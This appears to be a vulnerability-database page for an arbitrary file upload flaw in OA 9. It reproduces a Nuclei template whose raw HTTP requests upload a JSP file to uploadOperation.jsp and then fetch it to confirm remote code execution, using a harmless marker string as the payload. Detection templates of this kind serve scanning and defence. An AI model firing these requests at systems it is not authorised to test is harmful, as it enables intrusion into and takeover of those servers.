oa-v9-uploads-file: OA 9 - Arbitrary File Upload

2025-08-01 OA 9 PoC Public

Description

OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

PoC

id: oa-v9-uploads-file

info:
  name: OA 9 - Arbitrary File Upload
  author: pikpikcu
  severity: high
  description: OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-94,CWE-434
  metadata:
    max-request: 2
  tags: rce,jsp,fileupload,intrusive,vuln

http:
  - raw:
      - |
        POST /page/exportImport/uploadOperation.jsp HTTP/1.1
        Host: {{Hostname}}
        Origin: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo

        ------WebKitFormBoundaryFy3iNVBftjP6IOwo
        Content-Disposition: form-data; name="file"; filename="poc.jsp"
        Content-Type: application/octet-stream

        <%out.print(2be8e556fee1a876f10fa086979b8c7c);%>
        ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
      - |
        GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "2be8e556fee1a876f10fa086979b8c7c")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a0047304502201c1cdf32f1bb754ed06274ee58376d029fba959308cade36680b5983d754505d022100d3ba0f19509088655f79021cc3aa61119aaaf0988b5b7b14d86afcc61f5eebbb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/oa-v9-uploads-file.yaml

References

Related Vulnerabilities